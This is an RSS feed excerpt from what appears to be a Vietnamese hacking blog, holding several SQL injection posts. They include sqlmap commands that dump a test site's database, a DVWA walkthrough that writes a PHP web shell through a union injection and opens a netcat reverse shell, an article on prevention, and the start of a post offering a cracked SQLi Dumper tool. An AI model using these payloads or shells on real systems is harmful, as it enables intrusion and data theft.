<li><code>sqlmap -u </code><a class="au mu" href="https://testphp.vulnweb.com/listproducts.php?cat=1" target="_blank" rel="noopener ugc nofollow"><code>"http://testphp.vulnweb.com/listproducts.php?cat=1"</code></a><code> --tables -D acuart</code>: lấy danh sách các bảng trong &#8216;acuart&#8217;<img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_EjUBjFFPPZbA8ogvdreg-A.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 53" width="162" height="227" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 67"></li>
<li><code>sqlmap -u</code><a class="au mu" href="https://testphp.vulnweb.com/listproducts.php?cat=1" target="_blank" rel="noopener ugc nofollow"><code>"http://testphp.vulnweb.com/listproducts.php?cat=1"</code></a><code> --columns -T users -D acuart</code>: lấy các cột trong bảng &#8216;users&#8217;<img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_Du9qddmkLxQkkcDvjBn9zQ.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 54" width="269" height="270" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 68"></li>
<li><code>sqlmap -u </code><a class="au mu" href="https://testphp.vulnweb.com/listproducts.php?cat=1" target="_blank" rel="noopener ugc nofollow"><code>"http://testphp.vulnweb.com/listproducts.php?cat=1"</code></a><code>-T users -D acuart --dump</code>: lưu trữ tất cả dữ liệu trong bảng users</li>
</ul>
<h2>Tóm tắt về tấn công SQL Injection</h2>
<p>Cuộc tấn công SQL Injection là một trong những cuộc tấn công mạnh mẽ nhất mà hacker có thể thực hiện. Có nhiều cách để ngăn chặn SQL Injection, bạn có thể tham khảo <a href="https://anonyviet.com/sql-injection-la-gi-lam-the-nao-de-ngan-chan-lo-hong-sql-injection/">tại đây</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>SQL Injection là gì và nó hoạt động như thế nào?</h3>
<p>SQL Injection là một kỹ thuật tấn công mạng lợi dụng lỗ hổng bảo mật trong ứng dụng web để thực thi các câu lệnh SQL tùy ý.  Nó thường xảy ra khi ứng dụng không xử lý đúng cách dữ liệu đầu vào từ người dùng, cho phép kẻ tấn công chèn các đoạn mã SQL độc hại vào các truy vấn cơ sở dữ liệu.</p>
<h3>Tôi có thể phát hiện lỗ hổng SQL Injection trên website như thế nào?</h3>
<p>Cách đơn giản là thêm các ký tự đặc biệt như dấu nháy đơn (&#8216;) hoặc dấu nháy kép (&#8221; ) vào đầu vào của form hoặc URL. Nếu website trả về lỗi SQL hoặc hành vi bất thường, điều đó cho thấy có khả năng tồn tại lỗ hổng SQL Injection.</p>
<h3>Công cụ SQLmap hoạt động như thế nào trong việc khai thác lỗi SQL Injection?</h3>
<p>SQLmap là một công cụ tự động hóa quá trình khai thác SQL Injection. Nó có khả năng phát hiện, xác thực và khai thác các lỗ hổng này, giúp thu thập thông tin nhạy cảm từ cơ sở dữ liệu của website bị tấn công.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/huong-dan-khai-thac-loi-sql-injection-co-ban/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell</title>
		<link>https://anonyviet.com/su-dung-sql-injection-de-chay-lenh-va-chiem-quyen-shell/</link>
					<comments>https://anonyviet.com/su-dung-sql-injection-de-chay-lenh-va-chiem-quyen-shell/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Wed, 30 Mar 2022 00:36:14 +0000</pubDate>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sql injection]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=40444</guid>

					<description><![CDATA[Một trong những mục tiêu cuối cùng của hack là chiếm quyền điều khiển và up shell để chạy các lệnh hệ thống và đạt mục tiêu hoặc mạng. SQL injection thường chỉ được liên kết với cơ sở dữ liệu và dữ liệu của chúng, nhưng nó thực sự có thể được sử dụng [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Một trong những mục tiêu cuối cùng của hack là chiếm quyền điều khiển và up shell để chạy các lệnh hệ thống và đạt mục tiêu hoặc mạng. <a href="https://anonyviet.com/sql-injection-la-gi-lam-the-nao-de-ngan-chan-lo-hong-sql-injection/">SQL injection</a> thường chỉ được liên kết với cơ sở dữ liệu và dữ liệu của chúng, nhưng nó thực sự có thể được sử dụng như một vectơ để chiếm shell. Trong bài này, chúng ta sẽ khai thác một lỗ hổng SQL injection đơn giản để thực thi các lệnh và cuối cùng dịch ngược shell trên máy chủ.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2022/03/sql-injection-shell-1.jpg"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2022/03/sql-injection-shell-1.jpg" alt="sql injection shell " width="782" height="512" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 77"></a></p>
<p>Mình sẽ sử dụng DVWA, một máy ảo dễ bị tấn công và Kali Linux để thực hiện cuộc tấn công. Nếu bạn là người mới sử dụng Kali, bạn nên <a href="https://anonyviet.com/10-viec-can-lam-sau-khi-cai-dat-kali-linux/">đọc bài này</a> để biết cách thiết lập và bảo mật Kali, để đảm bảo hệ thống của bạn đã sẵn sàng cho mọi thứ.</p>
<h2>Tổng quan về SQL Injection</h2>
<p>SQL injection là một trong những lỗ hổng phổ biến nhất gặp phải trên web và cũng có thể là một trong những lỗ hổng nguy hiểm nhất. Những kẻ tấn công có thể tiêm các mã SQL độc hại vào để trích xuất thông tin nhạy cảm, sửa đổi hoặc phá hủy dữ liệu hiện có hoặc leo thang cuộc tấn công nhằm chiếm hữu máy chủ.</p>
<p>Có nhiều kiểu tiêm SQL khác nhau và các phương pháp tấn công khác nhau cho các hệ thống cơ sở dữ liệu khác nhau đang được sử dụng. Mặc dù kiểu tấn công này là một trong những kiểu tấn công dễ bắt đầu học nhất, nhưng bạn vẫn có thể mất vài năm để thành thạo SQL injection.</p>
<h3>Bước 1: Thăm dò mục tiêu</h3>
<p>Điều đầu tiên chúng ta cần làm là đăng nhập vào DVWA bằng thông tin đăng nhập mặc định, <strong>admin </strong>là tên người dùng và mật khẩu là <strong>password</strong>.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 62" width="858" height="446" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 78"></p>
<p>Tiếp theo, chuyển đến tab &#8220;Security&#8221; ở bên trái và đặt mức bảo mật thành &#8220;low&#8221;. Điều này sẽ đảm bảo cuộc tấn công của chúng ta sẽ diễn ra suôn sẻ.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-1.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 63" width="1092" height="407" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 79"></p>
<p>Điều hướng đến trang &#8220;SQL Injection&#8221; để bắt đầu cuộc tấn công. Chúng ta có thể thấy rằng chức năng của trang là lấy ID người dùng và trả lại thông tin, trong trường hợp này là họ và tên.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-2.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 64" width="1092" height="409" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 80"></p>
<p>Mình  muốn xác minh rằng đầu vào này thực sự dễ bị tiêm SQL. Điều đầu tiên cần thử là chỉ cần nhập một dấu ngoặc kép duy nhất, điều này sẽ đóng câu lệnh nếu hệ thống thực sự dễ bị tấn công. Và khi mình làm như vậy thì hệ thống trả về lỗi, thậm chí còn cho chúng ta biết cụ thể rằng trang web đang sử dụng MySQL làm cơ sở dữ liệu. Tại thời điểm này, rất có thể chúng ta đã tìm thấy một điểm vào dễ bị tấn công.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-3.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 65" width="717" height="117" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 81"></p>
<p>Điều tiếp theo chúng ta cần làm là liệt kê cơ sở dữ liệu và xác định số cột đang sử dụng. Điều này sẽ cho phép chúng ta khai thác một cách đáng tin cậy lỗ hổng dựa trên union chỉ trong một chút. Để hiểu rõ hơn, chúng ta hãy xem lệnh truy vấn sẽ trông như thế nào trong quá trình gửi đầu vào bình thường:</p>
<pre class="syntax-highlighted"><code class="language-unknown">select first_name, surname from users where user_id='';</code></pre>
<p>Đây có thể là truy vấn trên backend, với <strong>first_name</strong> và <strong>surname</strong> là các cột được chọn, tổng cộng là hai cột. Nhưng chúng ta cần biết chắc chắn để lỗ hổng này hoạt động. Chúng ta có thể sử dụng <strong>order by</strong>.</p>
<p>Mệnh đề này sẽ sắp xếp các kết quả của truy vấn theo các cột. Vì chúng ta khá chắc chắn rằng có ít nhất hai cột đang được sử dụng, nếu chúng ta sẽ sắp xếp theo thứ tự 1 hoặc 2, truy vấn sẽ thành công. Nhưng nếu chúng ta muốn order by 3 thì sao? Nếu chúng ta đúng, thì truy vấn này sẽ xuất hiện lỗi.</p>
<p>Gửi lần tiêm sau làm đầu vào, và nó sẽ dẫn đến lỗi. Dấu thăng được sử dụng ở đây để comment phần còn lại của truy vấn để nó không gây ra bất kỳ lỗi cú pháp bổ sung nào.</p>
<pre class="syntax-highlighted"><code class="language-unknown">' order by 3 #</code></pre>
<p>Các bạn có thể thấy rằng chúng ta thực sự gặp lỗi, vì vậy bây giờ mình biết chắc chắn rằng chỉ có hai cột đang được sử dụng.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-4.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 66" width="603" height="116" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 82"></p>
<h3>Bước 2: Truy cập Shell và khai thác lệnh</h3>
<p>Bây giờ chúng ta đã có thêm một chút thông tin về cơ sở dữ liệu, chúng ta có thể sử dụng điều này làm lợi thế của mình để thực hiện việc tiêm SQL dựa trên <strong>union</strong>. Toán tử union được sử dụng trong SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh select, nhưng để nó hoạt động bình thường, các câu lệnh phải có cùng số cột. Đây là lý do tại sao chúng ta cần tìm hiểu backend sớm hơn.</p>
<p>Có rất nhiều điều chúng ta có thể làm với việc tiêm dựa trên <strong>union</strong>, nhưng trong bài này, chúng ta cần quan tâm đến việc tận dụng lỗ hổng này để chạy các lệnh hệ điều hành. Một trong những cách dễ nhất để thực hiện điều này là tải lên một shell PHP đơn giản để chuyển các lệnh của chúng ta qua.</p>
<p>Chúng ta cần xác định thư mục gốc của máy chủ web để tải shell. Tùy thuộc vào ứng dụng và loại máy chủ web đang sử dụng, thư mục gốc có thể khác nhau, đặc biệt nếu quản trị viên thay đổi vị trí mặc định hoặc có đủ quyền. Đối với mục đích của cuộc tấn công này, mình sẽ giả định rằng gốc web mặc định của Apache (/var/www/) đang được sử dụng với quyền ghi công khai. Thông tin về máy chủ web, bao gồm cả thư mục gốc, thường có thể được tìm thấy trong tệp &#8220;phpinfo.php&#8221;.</p>
<p>Chúng ta có thể sử dụng lệnh into outfile để ghi vào một tệp. Trong trường hợp này, chúng tasẽ chèn một tập lệnh PHP đơn giản để có thể chạy các lệnh hệ thống. Tập lệnh mà mình đặt tên là &#8220;cmd.php&#8221;, sẽ giống như sau:</p>
<pre class="syntax-highlighted"><code class="language-unknown">&lt;?php system($_GET["cmd"]); ?&gt;</code></pre>
<p>Bây giờ, chúng ta sẽ thực hiện tiêm (injection). Chúng ta sẽ cần sử dụng dấu ngoặc kép trong tập lệnh vì chúng ta cần đặt phần thứ hai của câu lệnh trong dấu nháy đơn &#8211; điều này sẽ tránh được lỗi cú pháp. Lệnh tiêm hoàn chỉnh sẽ giống như sau:</p>
<pre class="syntax-highlighted"><code class="language-unknown">' union select 1, '&lt;?php system($_GET["cmd"]); ?&gt;' into outfile '/var/www/dvwa/cmd.php' #</code></pre>
<p>Nếu lệnh này hoạt động bình thường, chúng ta sẽ có thể truy cập shell của mình thông qua URL và bằng cách cung cấp lệnh hệ thống dưới dạng tham số. Ví dụ, whoami sẽ cung cấp cho chúng ta thông tin người dùng hiện tại.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-5.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 67" width="620" height="130" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 83"></p>
<p>Hoặc uname -a, sẽ cung cấp cho chúng ta thông tin về hệ thống.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-6.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 68" width="887" height="133" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 84"></p>
<p>Nhưng việc cung cấp tất cả các lệnh này thông qua tham số URL là một việc rất chán. Chúng ta có thể tận dụng việc này để đảo ngược shell và tiến xa hơn một bước.</p>
<h3>Bước 3: Dịch ngược Shell với Netcat</h3>
<p><a href="https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/" target="_blank" rel="noopener">Netcat</a> là một tiện ích mạng mạnh mẽ được sử dụng để khắc phục sự cố kết nối, nhưng nó thực sự có thể bị tin tặc sử dụng như một backdoor và như một phương pháp để chiếm quyền shell. Rất nhiều bản phân phối Linux được cài đặt tiện ích này theo mặc định, vì vậy nếu chúng ta có thể truy cập công cụ này thì game over.</p>
<p>Trước tiên, mình sẽ cần thiết lập trình lắng nghe trên máy cục bộ của chúng ta. Sử dụng lệnh nc cùng với -lvp để chỉ định nó lắng nghe và để đặt số cổng tương ứng.</p>
<pre class="syntax-highlighted"><code class="language-unknown">nc -lvp 1234
listening on [any] 1234 ...</code></pre>
<p>Tiếp theo, với tư cách là tham số cho shell PHP trong URL, hãy nhập lệnh sau. Nó yêu cầu máy chủ thực thi một shell (-e/bin/sh) và gửi nó trở lại máy cục bộ của chúng ta. Bạn cần đảm bảo sử dụng địa chỉ IP và cổng thích hợp.</p>
<pre class="syntax-highlighted"><code class="language-unknown">nc 172.16.1.100 1234 -e /bin/sh</code></pre>
<p>Hãy đợi một vài giây và chúng ta sẽ thấy trình nghe của chúng ta bắt được shell và mở một kết nối. Từ đây, chúng ta có thể chạy các lệnh như id, uname -a và ps.</p>
<pre class="syntax-highlighted"><code class="language-unknown">connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps</code></pre>
<p>Giờ đây, chúng ta đã có đủ phương tiện để thực thi các lệnh trên máy chủ web từ terminal của chính chúng ta, tất cả đều xuất phát từ một lỗ hổng SQL injection đơn giản. Mình mong qua bài viết thực tế này sẽ giúp bạn tiếp thu nhiều kiến thức hơn.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>SQL Injection là gì và tại sao nó nguy hiểm?</h3>
<p>SQL Injection là một kỹ thuật tấn công mạng cho phép kẻ xấu đưa mã SQL độc hại vào đầu vào của ứng dụng web, nhằm mục đích truy xuất, sửa đổi hoặc xóa dữ liệu, thậm chí chiếm quyền điều khiển máy chủ.  Sự nguy hiểm nằm ở khả năng leo thang quyền hạn và truy cập trái phép vào hệ thống.</p>
<h3>Làm thế nào để SQL Injection có thể dẫn đến việc chiếm quyền Shell?</h3>
<p>Bằng cách khai thác lỗ hổng SQL Injection, kẻ tấn công có thể thực thi các lệnh hệ điều hành trên máy chủ.  Điều này thường được thực hiện bằng cách chèn mã lệnh (ví dụ: mã PHP) vào cơ sở dữ liệu, sau đó truy cập và thực thi mã đó thông qua một URL, cho phép kẻ tấn công chiếm quyền điều khiển máy chủ.</p>
<h3>Tôi có thể làm gì để bảo vệ hệ thống của mình khỏi SQL Injection?</h3>
<p>Sử dụng các kỹ thuật lập trình an toàn như chuẩn bị câu lệnh (prepared statements), nhập liệu được lọc kỹ càng và tránh sử dụng các hàm có nguy cơ tiêm SQL.  Cập nhật thường xuyên các hệ thống và phần mềm cũng rất quan trọng để vá các lỗ hổng bảo mật.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/su-dung-sql-injection-de-chay-lenh-va-chiem-quyen-shell/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>SQL Injection là gì? Làm thế nào để ngăn chặn lỗ hổng SQL Injection</title>
		<link>https://anonyviet.com/sql-injection-la-gi-lam-the-nao-de-ngan-chan-lo-hong-sql-injection/</link>
					<comments>https://anonyviet.com/sql-injection-la-gi-lam-the-nao-de-ngan-chan-lo-hong-sql-injection/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Sun, 16 May 2021 04:54:25 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[bảo mật]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[khai thác lỗ hỏng]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=26928</guid>

					<description><![CDATA[Các lỗ hổng SQL injection phát sinh khi bạn tạo ra các truy vấn cơ sở dữ liệu một cách không an toàn. Hiểu đơn giản là người dùng có thể xem được database của website bạn bằng cách nhập câu truy vấn vào URL hoặc form điền thông tin. Đừng coi thường SQL injection [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Các lỗ hổng SQL injection phát sinh khi bạn tạo ra các truy vấn cơ sở dữ liệu một cách không an toàn. Hiểu đơn giản là người dùng có thể xem được database của website bạn bằng cách nhập câu truy vấn vào URL hoặc form điền thông tin. Đừng coi thường SQL injection nhé vì nó nằm trong <a href="https://anonyviet.com/top-10-lo-hong-bao-mat-web-theo-cong-bo-owasp-2020/">Top 10 lỗ hổng bảo mật web theo công bố OWASP 2020</a> đấy.</strong></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2021/05/sql-injection.jpg"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2021/05/sql-injection.jpg" alt="sql injection" width="838" height="439" title="SQL Injection là gì? Làm thế nào để ngăn chặn lỗ hổng SQL Injection 86"></a></p>
<h2>Cách khai thác lỗ hổng SQL Injection</h2>
<p>Đơn giản nhất là dùng tool auto exploit SQLi. Mình thường dùng <a href="https://anonyviet.com/?s=sqlmap" target="_blank" rel="noopener">SQLmap</a>, vì theo kinh nghiệm đây là tool có khả năng khai thác tốt nhất. Nhưng nhược điểm là bạn phải dùng lệnh thay vì giao diện.</p>
<p>Hoặc bạn có thể dùng công cụ <a href="https://anonyviet.com/?s=SQL+Dumper" target="_blank" rel="noopener">SQL Dumper</a> có giao diện với nhiều tính năng dễ thiết lập hơn. Nếu mới tìm hiểu bạn có thể dùng thử công cụ này để khai thác database của Website.</p>
<h2>Làm thế nào để ngăn chặn lỗ hổng SQL injection?</h2>
<p>Cách tốt nhất để ngăn chặn các lỗ hổng SQL injection là sử dụng framework cho phép bạn lọc dữ liệu đầu vào một cách an toàn trước khi đưa vào database. ORM (Object Relational Mapper) là một lựa chọn tốt mà bạn nên thử. Đối với các lớp bảo mật bổ sung, hãy xác thực tất cả đầu vào và sử dụng WAF (Web Application Firewall).</p>
<h3>Ví dụ đơn giản</h3>
<p>Giả sử mình có một ứng dụng Java cho phép người dùng truy xuất tài liệu của họ bằng ID. Mình có thể làm như thế này:</p>
<pre><code>String query = "SELECT * FROM documents WHERE ownerId=" + authContext.getUserId() + " AND documentName = '" + request.getParameter("docName") + "'";
executeQuery(query);</code></pre>
<p>Nếu ID người dùng là 25 và URL là https://www.example.com/documents/?docName=ABC123, thì truy vấn sẽ là:</p>
<pre><code>SELECT * FROM documents WHERE ownerId=25 AND documentName='ABC123';</code></pre>
<p>Vẫn ổn mà đúng không? Nhưng điều gì sẽ xảy ra nếu URL là https://www.example.com/documents/?docName=ABC123&#8217;OR&#8217;1&#8217;=&#8217;1?</p>
<p>Bây giờ mình sẽ nhận được truy vấn sau đây trả về tất cả các tài liệu của tất cả người dùng (vì 1 = 1 luôn đúng):</p>
<pre><code>SELECT * FROM documents WHERE ownerId=25 AND documentName='ABC123' OR '1'='1';</code></pre>
<p>Vậy làm thế nào để tránh lỗi này?</p>
<h2>Sử dụng Object Relational Mapping</h2>
<p>Lấy Java làm ví dụ, sử dụng ORM chẳng hạn như hibernate để triển khai JPA (Java Persistence API) có thể trông như thế này.</p>
<p>Đầu tiên, xác định model.</p>
<pre><code>@Entity
public <span class="hljs-class">class Document </span>{
  @Id
  @GeneratedValue(strategy=GenerationType.AUTO)
  private Long id;
  private String documentName;
  private Integer ownerId;
}</code></pre>
<p>Sau đó, xác định class repository.</p>
<pre><code>@Repository
public <span class="hljs-class">interface DocumentRepository extends JpaRepository&lt;Document, Long&gt; </span>{
  <span class="hljs-function">List&lt;Document&gt; findByDocumentNameAndOwnerId(String documentName, Integer ownerId)</span>;
}</code></pre>
<p>Cuối cùng, bạn có thể sử dụng repository và tìm nạp các tài liệu như sau:</p>
<pre><code>List&lt;Document&gt; docs = documentRepository.findByDocumentNameAndOwnerId(request.getParameter("docName"), authContext.getUserId());</code></pre>
<p>ORM sẽ xử lý tất cả các tham số một cách an toàn. Bây giờ, giả sử bạn muốn kiểm soát các truy vấn nhiều hơn. Trong trường hợp đó, nhiều ORM cung cấp trình tạo truy vấn mà bạn có thể sử dụng, chẳng hạn như Hibernate Criteria API.</p>
<ul>
<li><a href="https://spring.io/guides/gs/accessing-data-jpa/" target="_blank" rel="noopener">https://spring.io/guides/gs/accessing-data-jpa/</a></li>
<li><a href="https://docs.jboss.org/hibernate/orm/3.5/javadocs/org/hibernate/Criteria.html" target="_blank" rel="noopener">https://docs.jboss.org/hibernate/orm/3.5/javadocs/org/hibernate/Criteria.html</a></li>
</ul>
<p>Nếu bạn sử dụng Python, Django cũng có ORM tuyệt vời không kém; còn nếu bạn không sử dụng Django, sqlalchemy là một lựa chọn tuyệt vời.</p>
<ul>
<li><a href="https://docs.djangoproject.com/en/3.1/topics/db/queries/" target="_blank" rel="noopener">https://docs.djangoproject.com/en/3.1/topics/db/queries/</a></li>
<li><a href="https://www.sqlalchemy.org/" target="_blank" rel="noopener">https://www.sqlalchemy.org/</a></li>
</ul>
<p>PHP có Doctrine. Bạn chỉ cần google để tìm kiếm các ORM phù hợp với công nghệ mà bạn chọn.</p>
<ul>
<li><a href="https://www.doctrine-project.org/" target="_blank" rel="noopener">https://www.doctrine-project.org/</a></li>
</ul>
<h3>Cảnh báo</h3>
<div class="TnITTtw-original-wrap TnITTtw-padded-single-translation TnITTtw-t">
<p>Các framework ORM không hoàn hảo 100%.</p>
<p>Đầu tiên là chúng vẫn có chức năng hỗ trợ truy vấn SQL thô/query parts. Bạn chỉ cần tránh sử dụng các tính năng đó là được.</p>
<p>Thứ hai là các framework ORM thường có lỗ hổng bảo mật, giống như bất kỳ gói phần mềm nào khác. Vì vậy, hãy tìm hiểu các phương pháp hay khác: xác thực tất cả dữ liệu đầu vào, sử dụng WAF, cập nhật các package&#8230;</p>
</div>
<div class="TnITTtw-padded-single-translation TnITTtw-trans-wrap TnITTtw-t">
<h2>Prepared statements</h2>
<div class="TnITTtw-mv-translit TnITTtw-translation-translit TnITTtw-t">Prepared statements là một sự lựa chọn thủ công hơn và nên tránh vì so với ORM, nó có nguy cơ mắc lỗi do con người cao hơn đáng kể. Tuy nhiên, cách này vẫn đánh bại phương pháp nối chuỗi đơn giản (như ví dụ trên). Cách tiếp cận này giống như sau:</div>
<div>
<pre><code>String query = "SELECT * FROM documents WHERE ownerId=? AND documentName = ?";
PreparedStatement ps = conn.prepareStatement(query);
ps.setString(1, authContext.getUserId());
ps.setString(2, request.getParameter("docName"));
ResultSet rs = ps.executeQuery();</code></pre>
<p>Về lý thuyết, cách này khá an toàn. Tuy nhiên, theo kinh nghiệm của mình, khi codebase phát triển lớn hơn, các sai lầm sẽ bắt đầu xuất hiện. Bạn chỉ cần một lần mắc sai lầm là hoàn toàn có thể bị tấn công. Các trường hợp như mảng (documentId IN (&#8220;foo&#8221;, &#8220;bar&#8221;)) là nơi dev thường mắc sai lầm.</p>
<p>Vì vậy, nếu bạn quyết định sử dụng phương pháp này, hãy cẩn thận với nó khi bạn mở rộng codebase.</p>
<h2>Web Application Firewall</h2>
<p>Các sản phẩm WAF không nên được coi là một biện pháp kiểm soát SQL injection tốt. Nhưng chúng là một lớp bổ sung bảo mật tuyệt vời và thường khá hiệu quả để chống lại các cuộc tấn công SQL injection.</p>
<p>Một giải pháp mã nguồn mở tuyệt vời là triển khai Apache với ModSecurity CRS trước webapp của bạn.</p>
<ul>
<li><a href="https://modsecurity.org/rules.html" target="_blank" rel="noopener">https://modsecurity.org/rules.html</a></li>
</ul>
<h2>Database Firewall</h2>
<p>Tùy thuộc vào database và ngân sách của bạn, bạn có thể cân nhắc dùng thử database firewalls. Mình thì chưa từng thử cái này, nhưng các bạn cũng có thể tìm hiểu link dưới, biết đâu nó sẽ giúp ích cho bạn.</p>
<ul>
<li><a href="https://www.mysql.com/products/enterprise/firewall.html" target="_blank" rel="noopener">https://www.mysql.com/products/enterprise/firewall.html</a></li>
</ul>
<h2>Kết luận</h2>
<p>SQL injection là một lỗ hổng injection đơn giản. Và giống như tất cả các lỗ hổng bảo mật khác, bạn có thể ngăn chặn nó bằng cách sử dụng một thư viện hoặc framework thích hợp để xây dựng protocol, trong trường hợp này là SQL.</p>
</div>
<div>ORM an toàn hơn prepared statements. Và nếu bạn không cần kiểm soát các truy vấn quá nhiều, hãy sử dụng ORM cấp thấp hơn thường được gọi là trình tạo truy vấn (query builder). WAF có thể thêm một lớp bảo mật, nhưng bạn đừng bao giờ dựa vào nó để bảo mật.</div>
</div>
<h2>Câu hỏi thường gặp</h2>
<h3>SQL Injection là gì và tại sao nó nguy hiểm?</h3>
<p>SQL Injection là một lỗ hổng bảo mật cho phép kẻ tấn công tiêm các đoạn mã SQL độc hại vào các truy vấn cơ sở dữ liệu của website. Điều này có thể cho phép chúng truy cập, chỉnh sửa hoặc xóa dữ liệu nhạy cảm trong cơ sở dữ liệu của bạn.</p>
<h3>Cách hiệu quả nhất để ngăn chặn SQL Injection là gì?</h3>
<p>Cách tốt nhất là sử dụng Object-Relational Mapper (ORM). ORM giúp bạn tạo ra các truy vấn an toàn bằng cách xử lý tham số đầu vào một cách an toàn.  Ngoài ra, việc xác thực dữ liệu đầu vào và sử dụng Web Application Firewall (WAF) cũng rất quan trọng.</p>
<h3>Prepared Statements có an toàn hơn việc nối chuỗi trực tiếp không?</h3>
<p>Prepared Statements an toàn hơn việc nối chuỗi trực tiếp khi xây dựng truy vấn SQL, nhưng chúng vẫn tiềm ẩn rủi ro nếu không được sử dụng đúng cách.  ORM thường được khuyến nghị hơn vì tính dễ sử dụng và ít lỗi hơn.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/sql-injection-la-gi-lam-the-nao-de-ngan-chan-lo-hong-sql-injection/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Download SQLi Dumper v10.1 Full &#8211; Tool khai thác lỗi SQL Injection</title>
		<link>https://anonyviet.com/sqli-dumper-cracked-phan-mem-khai-thac-loi-sql-nhanh-chong-va-hieu-qua/</link>
					<comments>https://anonyviet.com/sqli-dumper-cracked-phan-mem-khai-thac-loi-sql-nhanh-chong-va-hieu-qua/#comments</comments>
		
		<dc:creator><![CDATA[TMQ]]></dc:creator>
		<pubDate>Tue, 11 Feb 2020 03:19:20 +0000</pubDate>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[hack website]]></category>
		<category><![CDATA[khai thác lỗi website]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[SQLi Dumper]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=6659</guid>

					<description><![CDATA[Giới thiệu về phần mềm SQLi Dumper v10.1  SQLi Dumper là 1 phần mềm chuyên dùng để khai thác lỗi SQL. Bạn có thể dùng để khai thác lỗi hàng loạt trang web khác nhau Các tính năng chính: Hỗ trợ đa luồng. Công cụ tìm kiếm trực tuyến (để tìm các tính năng); Tự động [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1><strong><span style="color: #800080;"><span style="font-size: 18pt;">Giới thiệu về phần mềm SQLi Dumper v10.1 </span></span></strong></h1>
